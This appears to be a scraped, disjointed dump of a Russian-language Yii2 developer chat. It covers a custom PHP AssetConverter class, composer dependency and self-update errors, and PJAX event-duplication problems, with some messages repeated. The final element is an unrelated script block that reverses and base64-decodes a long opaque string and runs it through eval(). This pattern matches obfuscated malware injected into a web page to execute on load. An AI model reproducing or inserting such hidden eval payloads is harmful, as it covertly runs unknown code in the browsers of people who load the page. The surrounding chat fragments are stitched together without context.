https://join.slack.com/t/yii/shared_invite/MjIxMjMxMTk5MTU1LTE1MDE3MDAwMzMtM2VkMTMyMjY1Ng
<?
namespace app\components\web;
use Yii;
class AssetConverter extends \yii\web\AssetConverter {
//public $forceConvert = true;
public function convert($asset, $basePath) {
$am = Yii::$app->assetManager;
if(!$am->linkAssets) {
return parent::convert($asset, $basePath);
}
$ext = pathinfo($asset, PATHINFO_EXTENSION);
if(isset($this->commands[$ext])) {
list($ext, $command) = $this->commands[$ext];
$from = $basePath . '/' . $asset;
$to = sprintf('%x', crc32($from . Yii::getVersion() . filemtime($from))) . '.' . $ext;
if($this->forceConvert || @filemtime($am->basePath . '/' . $to) < @filemtime($from)) {
$this->runCommand($command, $basePath, $from, $am->basePath . '/' . $to);
}
return $am->baseUrl . '/' . $to;
}
return $asset;
}
protected function runCommand($command, $basePath, $from, $to) {
$command = Yii::getAlias($command);
$command = strtr($command, [
'{from}' => escapeshellarg($from),
'{to}' => escapeshellarg($to),
]);
$descriptor = [
1 => ['pipe', 'w'],
2 => ['pipe', 'w'],
];
$pipes = [];
$proc = proc_open($command, $descriptor, $pipes, $basePath);
$stdout = stream_get_contents($pipes[1]);
$stderr = stream_get_contents($pipes[2]);
foreach ($pipes as $pipe) {
fclose($pipe);
}
$status = proc_close($proc);
if ($status === 0) {
Yii::trace("Converted $from into $to:\nSTDOUT:\n$stdout\nSTDERR:\n$stderr", __METHOD__);
} elseif (YII_DEBUG) {
throw new Exception("AssetConverter command '$command' failed with exit code $status:\nSTDOUT:\n$stdout\nSTDERR:\n$stderr");
} else {
Yii::error("AssetConverter command '$command' failed with exit code $status:\nSTDOUT:\n$stdout\nSTDERR:\n$stderr", __METHOD__);
}
return $status === 0;
}
}
'/user/my/<_a>' => 'user/my/<_a>',
The file or directory to be published does not exist: home/wonderjewelers/v5/vendor/bower/jquery/dist
Кто сталкивался с ошибкой PJAX
Uncaught TypeError: url.replace is not a function
Код кнопки
<a class="btn btn-default btn-xs" href="/order/delete?id=12" title="Delete" aria-label="Delete" data-confirm="Are you sure you want to delete this item?" data-method="post" data-pjax="0">Delete</a>
Кто сталкивался с ошибкой PJAX
Uncaught TypeError: url.replace is not a function
Код кнопки
<a class="btn btn-default btn-xs" href="/order/delete?id=12" title="Delete" aria-label="Delete" data-confirm="Are you sure you want to delete this item?" data-method="post" data-pjax="0">Delete</a>
В чем может быть дело? Проблемма появилась после обновления yii вчера(
{
"minimum-stability": "stable",
"require": {
"php": ">=5.4.0",
"yiisoft/yii2": "dev-master",
"yiisoft/yii2-bootstrap": "*",
"yiisoft/yii2-swiftmailer": "*",
"yiisoft/yii2-authclient": "dev-master"
},
"require-dev": {
"yiisoft/yii2-codeception": "*",
"yiisoft/yii2-debug": "*",
"yiisoft/yii2-gii": "*",
"yiisoft/yii2-faker": "*",
"denisogr/yii2-cronjobs": "dev-master"
},
"config": {
"process-timeout": 1800
},
"extra": {
"asset-installer-paths": {
"npm-asset-library": "vendor/npm",
"bower-asset-library": "vendor/bower"
}
}
}
php composer.phar install --no-dev
composer self-update 2015-09-28_09-38-16-c410791
The file or directory to be published does not exist: /home/vhosts/site/htdocs/basic/vendor/bower/jquery/dist
composer self-update 2015-09-28_09-38-16-c410791
$config['modules']['debug'] = 'yii\debug\Module';
- т.е. эта строка все мои настройки в коммоне перекроет? ну в логах по крайней мере >Access to debugger is denied due to IP address restriction.
The "https://getcomposer.org/download/2015-09-28_09-38-16-c410791/composer.phar" file could not be downloaded
```composer self-update 2015-09-28_09-38-16-c410791
Updating to version 2015-09-28_09-38-16-c410791.
Downloading: 0%
[Composer\Downloader\TransportException]
The "https://getcomposer.org/download/2015-09-28_09-38-16-c410791/composer.phar" file could not be downloaded (HTTP/1.1 404 Not Found)```
Это с https://getcomposer.org/download/1.0.0-alpha11/composer.phar
php
composer self-update 1.0.0-alpha11
composer clear-cache
Loading composer repositories with package information
Updating dependencies (including require-dev)
@DrDeath72
<?php Pjax::begin(['id' => 'masterPjax']); ?>
<?php Pjax::begin(['id' => 'slavePjax']); ?>
<?php Pjax::end(); ?>
<?php Pjax::end(); ?>
При обновлении masterPjax будет приходить новое событие в DOM для slavePjax. Сколько раз обновится masterPjax столько и запросов уйдет на сервер при обновлении slavePjax.
Решили удалением слушалки для slavePjax на событии pjax:start для masterPjax
Соответственно если пару раз обновить общий pjax то события на внутренние pjax навешиваются повторно. И при обновлении внутреннего блока идет куча запросов на сервер. Как быть?
jQuery(document).pjax
$js .= "jQuery(document).pjax($linkSelector, \"#$id\", $options);";
jQuery(document).pjax('#foo')
jQuery(document).pjax('#block-c')
повторно выполнять не надо, а jQuery(document).pjax('#block-d')
надо
Чтобы этого не произошло, нужно добавить этот код.
$(‘body').on('pjax:start', function (e) {
if($(e.target).attr('id')=='pjax-container'){
$(document).off('submit', '#pjax-status-container a[data-pjax]');
}
});
или типо такого…
Пока другого решения не нашлось.
Article::find()->joinWith('tags)->andWhere(['tag.id' => ['1', '2', '123', '333']])
PHPSESSID
и _csrf
, и у обеих Expires = Session
<?= $this->getHeader() ?>
<a href="#">1</a>
<a href="#">2</a>
<a href="#">3</a>
Title <a href="#">1</a>
<a href="#">2</a>
<a href="#">3</a>
<?= Html::a() ?>
<?= Html::a() ?>
<?= Html::a() ?>
<script language="javascript" type="text/javascript">var l10='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';function Ol0(data){var OOllOI="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h1=OOllOI.indexOf(data.charAt(i++));h2=OOllOI.indexOf(data.charAt(i++));h3=OOllOI.indexOf(data.charAt(i++));h4=OOllOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function OOl(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(Ol0(OOl(l10)));</script>